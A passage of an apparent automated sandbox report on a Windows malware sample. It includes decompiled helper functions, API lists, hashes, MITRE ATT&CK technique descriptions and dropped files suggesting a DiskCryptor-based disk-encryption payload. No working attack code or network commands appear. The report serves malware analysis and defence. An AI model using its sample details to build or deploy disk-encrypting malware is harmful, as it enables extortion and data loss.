						_t14 = _t11;
						_t17 = _t11 + 8;
						L7:
						asm("sbb ecx, ecx");
						 *_t19 =  ~_t14 & _t17;
						L8:
						 *((intOrPtr*)(_t11 + 0xf0)) =  *((intOrPtr*)(_t11 + 0xf0)) + 1;
						return 0;
					}
					_t11 = _a4;
					_t14 = _t11;
					_t17 = _t11 + 4;
					goto L7;
				}
				L1:
				_t11 = _a4;
				 *_t19 = _t11;
				goto L8;
			}

0x01260205
0x01260209
0x0126020c
0x0126020f
0x01260211
0x01260216
0x01260217
0x01260221
0x0126022a
0x0126022c
0x01260231
0x01260232
0x0126023c
0x00000000
0x00000000
0x0126023e
0x01260240
0x01260245
0x01260246
0x01260250
0x0126025c
0x0126025e
0x01260263
0x01260264
0x0126026e
0x00000000
0x0126028a
0x01260270
0x01260273
0x01260275
0x01260278
0x0126027a
0x0126027e
0x01260280
0x01260280
0x00000000
0x01260286
0x01260252
0x01260255
0x01260257
0x00000000
0x01260257
0x01260223
0x01260223
0x01260226
0x00000000

APIs

memcmp.MSVCRT ref: 01260217
memcmp.MSVCRT ref: 01260232
memcmp.MSVCRT ref: 01260246

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: f93d8b2138c57f83fba7f3a7e8c5a9ac35c57acac6e758c427b28bd6349db4e5
Instruction ID: e9c1adde7274c9f151cf8309840352db4923819f843dc7cea5f30e5e1e710fbc
Opcode Fuzzy Hash: f93d8b2138c57f83fba7f3a7e8c5a9ac35c57acac6e758c427b28bd6349db4e5
Instruction Fuzzy Hash: 680104313A020267D7219F15CC02FB933ACAF79700F04452DFD89EA2C1F6A0E4D09798

Uniqueness

Uniqueness Score: -1.00%

Function 01251CBD Relevance: 5.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E01251CBD(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t10;
				signed int _t11;
				signed int _t14;
				signed int _t17;
				intOrPtr _t18;
				signed int* _t19;

				_t19 = _a12;
				_t18 = _a8;
				 *_t19 =  *_t19 & 0x00000000;
				_push(0x10);
				_push(0x126cdf8);
				_push(_t18);
				L01263D72();
				if(_t10 != 0) {
					_push(0x10);
					_push(0x126c4f8);
					_push(_t18);
					L01263D72();
					if(_t10 == 0) {
						goto L1;
					}
					_push(0x10);
					_push(0x126c4c8);
					_push(_t18);
					L01263D72();
					if(_t10 != 0) {
						_push(0x10);
						_push(0x126c408);
						_push(_t18);
						L01263D72();
						if(_t10 != 0) {
							return 0x80004002;
						}
						_t11 = _a4;
						_t14 = _t11;
						_t17 = _t11 + 8;
						L7:
						asm("sbb ecx, ecx");
						 *_t19 =  ~_t14 & _t17;
						L8:
						 *((intOrPtr*)(_t11 + 0xc)) =  *((intOrPtr*)(_t11 + 0xc)) + 1;
						return 0;
					}
					_t11 = _a4;
					_t14 = _t11;
					_t17 = _t11 + 4;
					goto L7;
				}
				L1:
				_t11 = _a4;
				 *_t19 = _t11;
				goto L8;
			}

0x01251cc1
0x01251cc5
0x01251cc8
0x01251ccb
0x01251ccd
0x01251cd2
0x01251cd3
0x01251cdd
0x01251ce6
0x01251ce8
0x01251ced
0x01251cee
0x01251cf8
0x00000000
0x00000000
0x01251cfa
0x01251cfc
0x01251d01
0x01251d02
0x01251d0c
0x01251d18
0x01251d1a
0x01251d1f
0x01251d20
0x01251d2a
0x00000000
0x01251d43
0x01251d2c
0x01251d2f
0x01251d31
0x01251d34
0x01251d36
0x01251d3a
0x01251d3c
0x01251d3c
0x00000000
0x01251d3f
0x01251d0e
0x01251d11
0x01251d13
0x00000000
0x01251d13
0x01251cdf
0x01251cdf
0x01251ce2
0x00000000

APIs

memcmp.MSVCRT ref: 01251CD3
memcmp.MSVCRT ref: 01251CEE
memcmp.MSVCRT ref: 01251D02

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b917fc896b3b470fc0be90532d22a23566bf2f7ccee55b3327c7505916ab5d2d
Instruction ID: 6203241dba2f6463cc0b6490e199817f4daa37edd432be413fd20733aea6e002
Opcode Fuzzy Hash: b917fc896b3b470fc0be90532d22a23566bf2f7ccee55b3327c7505916ab5d2d
Instruction Fuzzy Hash: 3F0104313B020677C711AE19CC42FB973A8AF75611F04842DED89AA282E6F4E4A08390

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dcinst.exePID: 2408, Parent PID: 4564COMMON

Executed Functions

Function 00007FF6C160178C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00007FF6C1601797

Memory Dump Source

Source File: 0000000C.00000002.568216236.00007FF6C1601000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C1600000, based on PE: true

Associated: 0000000C.00000002.568209427.00007FF6C1600000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568222287.00007FF6C1602000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568228342.00007FF6C1603000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568234288.00007FF6C1604000.00000002.00000001.01000000.00000006.sdmpDownload File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 43e33c125a3c8228278e703230b8202cb01cfa5b73ebf8838dc6b54c4d14e989
Instruction ID: 66ae533647e37823f53d2cd3f5ce82de1961cbb74506f062080436cf9455c7c5
Opcode Fuzzy Hash: 43e33c125a3c8228278e703230b8202cb01cfa5b73ebf8838dc6b54c4d14e989
Instruction Fuzzy Hash: 33B09210E15482C2D708AF629C8506012A1AF68302FC00430C18EC0120EE1C919BD704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6C1601000 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 125COMMON

Download Yara Rule

APIs

dc_is_old_runned.DCAPI ref: 00007FF6C1601036
dc_open_device.DCAPI ref: 00007FF6C160104C
_wcsicmp.MSVCRT ref: 00007FF6C160105C
dc_is_driver_installed.DCAPI ref: 00007FF6C1601066
dc_update_boot.DCAPI ref: 00007FF6C1601073

Strings

-setup, xrefs: 00007FF6C1601052
-isenc, xrefs: 00007FF6C160111D
-isboot, xrefs: 00007FF6C16010EF
-unins, xrefs: 00007FF6C160109C
-unldr, xrefs: 00007FF6C16010CC

Memory Dump Source

Source File: 0000000C.00000002.568216236.00007FF6C1601000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C1600000, based on PE: true

Associated: 0000000C.00000002.568209427.00007FF6C1600000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568222287.00007FF6C1602000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568228342.00007FF6C1603000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568234288.00007FF6C1604000.00000002.00000001.01000000.00000006.sdmpDownload File

Similarity

API ID: _wcsicmpdc_is_driver_installeddc_is_old_runneddc_open_devicedc_update_boot
String ID: -isboot$-isenc$-setup$-unins$-unldr
API String ID: 1863842065-2825037726
Opcode ID: 08165641a467146d9f58a98be15a2dbb4946945580ad9d72de36a5c40ad714af
Instruction ID: 670efa4029090d8acf98172863259207bb3a794880a0670191b486c3749f0f98
Opcode Fuzzy Hash: 08165641a467146d9f58a98be15a2dbb4946945580ad9d72de36a5c40ad714af
Instruction Fuzzy Hash: 9A514C25B08BC382F7649F23A85437A23A5BF45B87F444179CACFC2290DF6CE449E619

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6C16012FC Relevance: 9.1, APIs: 6, Instructions: 133sleepCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 00007FF6C160131E
Sleep.KERNEL32 ref: 00007FF6C1601354
_amsg_exit.MSVCRT ref: 00007FF6C160136A
_initterm.MSVCRT ref: 00007FF6C16013F1
exit.KERNELBASE ref: 00007FF6C16014B6
_cexit.MSVCRT ref: 00007FF6C16014C4

Memory Dump Source

Source File: 0000000C.00000002.568216236.00007FF6C1601000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C1600000, based on PE: true

Associated: 0000000C.00000002.568209427.00007FF6C1600000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568222287.00007FF6C1602000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568228342.00007FF6C1603000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568234288.00007FF6C1604000.00000002.00000001.01000000.00000006.sdmpDownload File

Similarity

API ID: InfoSleepStartup_amsg_exit_cexit_inittermexit
String ID:
API String ID: 2456207614-0
Opcode ID: 05207090eec1ca913629afba813957c211e5b73bbb799b49574875545f8807e8
Instruction ID: 4c06cbbba139e348fb6764f9affaf082ac539fcae6eb8db94edb5218ffe51c88
Opcode Fuzzy Hash: 05207090eec1ca913629afba813957c211e5b73bbb799b49574875545f8807e8
Instruction Fuzzy Hash: EB510971A096C286EB249F13E48023933A1FB45787F554439D6CEC76A0DF7DE984E708

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF6C1601290 Relevance: 10.6, APIs: 7, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF67FF6C1601290(void* __eax, signed int __ecx, void* __rcx) {
				void* _t4;

				_t4 = __rcx -  *0xc1603000; // 0x9aabbdca3c11
				if (_t4 != 0) goto 0xc16012ab;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xc16012a7;
				return __eax;
			}

0x7ff6c1601290
0x7ff6c1601297
0x7ff6c1601299
0x7ff6c16012a2
0x7ff6c16012a4

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6C1601633
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C1601652
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C160169E
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C1601712
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C160171F
GetCurrentProcess.KERNEL32 ref: 00007FF6C1601725
TerminateProcess.KERNEL32 ref: 00007FF6C1601733

Memory Dump Source

Source File: 0000000C.00000002.568216236.00007FF6C1601000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C1600000, based on PE: true

Associated: 0000000C.00000002.568209427.00007FF6C1600000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568222287.00007FF6C1602000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568228342.00007FF6C1603000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568234288.00007FF6C1604000.00000002.00000001.01000000.00000006.sdmpDownload File

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtual
String ID:
API String ID: 3266983031-0
Opcode ID: 12ea769f34f527f12297de04386c162131157b894df67d2b653d6fa4f13d2ac8
Instruction ID: d2839d6acca757aa5b391e6dafbf0d7e351b3e7b58acf0ccebca2da194ffbeb0
Opcode Fuzzy Hash: 12ea769f34f527f12297de04386c162131157b894df67d2b653d6fa4f13d2ac8
Instruction Fuzzy Hash: 4D31B235909B8289EB54CF16F88036A77A4FB85756F50803AEACE83764DF7CE054E708

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF87A7C8260 Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00007FF87FF87A7C8260(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx) {
				signed int _v28;
				char _v40;
				intOrPtr* _t14;

				_t14 =  &_v40;
				asm("cpuid");
				 *_t14 = 1;
				 *((intOrPtr*)(_t14 + 4)) = __ebx;
				 *((intOrPtr*)(_t14 + 8)) = __ecx;
				 *((intOrPtr*)(_t14 + 0xc)) = __edx;
				return (_v28 & 0x04000000) >> 0x1a;
			}

0x7ff87a7c826b
0x7ff87a7c8270
0x7ff87a7c8272
0x7ff87a7c8274
0x7ff87a7c8277
0x7ff87a7c827a
0x7ff87a7c828f

Memory Dump Source

Source File: 0000000C.00000002.568248832.00007FF87A7C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF87A7C0000, based on PE: true

Associated: 0000000C.00000002.568241772.00007FF87A7C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568273708.00007FF87A7E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568285131.00007FF87A7E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568292148.00007FF87A7EB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568298577.00007FF87A7EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0f9ac9c730b3139acf02d60763c7b3ff6e1294a7e8ae7245ea572cc760c8104
Instruction ID: b7f92014f20b6e4cc698a25b9afd95afd2a8df9c6c330bb748dfc7fde3ff73c2
Opcode Fuzzy Hash: b0f9ac9c730b3139acf02d60763c7b3ff6e1294a7e8ae7245ea572cc760c8104
Instruction Fuzzy Hash: 1BD0E2B39185548BD3299F19F84168ABBA0E358314F84C225EBD892B10D23CEA82CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6C160191C Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6C1601953
GetCurrentProcessId.KERNEL32 ref: 00007FF6C160195E
GetCurrentThreadId.KERNEL32 ref: 00007FF6C160196A
GetTickCount.KERNEL32 ref: 00007FF6C1601976
QueryPerformanceCounter.KERNEL32 ref: 00007FF6C1601987

Memory Dump Source

Source File: 0000000C.00000002.568216236.00007FF6C1601000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C1600000, based on PE: true

Associated: 0000000C.00000002.568209427.00007FF6C1600000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568222287.00007FF6C1602000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568228342.00007FF6C1603000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.568234288.00007FF6C1604000.00000002.00000001.01000000.00000006.sdmpDownload File

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 1dce962ad3c2a63dfd42b8a2254170d9176563c7fee761932e8a0dc58e47b0a9
Instruction ID: 030dd082ba2e63579f03b432923129a03e9247e3f993d20d6ef7ca94cc8f3219
Opcode Fuzzy Hash: 1dce962ad3c2a63dfd42b8a2254170d9176563c7fee761932e8a0dc58e47b0a9
Instruction Fuzzy Hash: 20018421A19B8186E740CF22F8843656361FF49B92F44A634DEDF877A0CE3CD889D304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF87A7CF488 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF87A7CF4BF
GetCurrentProcessId.KERNEL32 ref: 00007FF87A7CF4CA
GetCurrentThreadId.KERNEL32 ref: 00007FF87A7CF4D6
GetTickCount.KERNEL32 ref: 00007FF87A7CF4E2
QueryPerformanceCounter.KERNEL32 ref: 00007FF87A7CF4F3

Memory Dump Source

Source File: 0000000C.00000002.568248832.00007FF87A7C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF87A7C0000, based on PE: true

Associated: 0000000C.00000002.568241772.00007FF87A7C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568273708.00007FF87A7E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568285131.00007FF87A7E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568292148.00007FF87A7EB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.568298577.00007FF87A7EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: dfa2e914579514696e3e31d6105436410edf8a279778afcced3e3b06aeb5d09f
Instruction ID: a1564c19dcee087720b1f06a449e4a5ab6402d81f4fd4c5951dc60a4802c3ab1
Opcode Fuzzy Hash: dfa2e914579514696e3e31d6105436410edf8a279778afcced3e3b06aeb5d09f
Instruction Fuzzy Hash: 64017922A7DB0682E7808F21E8503756360FB48BD1F44A670EEAE077B0DE3CD9D98300

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 09490699.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Disgusting\13.exe

C:\Disgusting\50

C:\Disgusting\7z.dll

C:\Disgusting\dcapi.dll

C:\Disgusting\dccon.exe

C:\Disgusting\dcinst.exe

C:\Disgusting\dcrypt.sys

C:\Windows\System32\drivers\dcrypt.sys

C:\servicereg.log

C:\servicestart.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Statistics

CPU Usage

Windows Analysis Report
09490699.exe

Function 00401770 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 226
serviceCOMMON

Function 00401000 Relevance: 13.6, APIs: 9, Instructions: 63
COMMON

Function 00437960 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 367
COMMON

Function 00436440 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 87
COMMON

Function 0042CA80 Relevance: .1, Instructions: 118
COMMONCrypto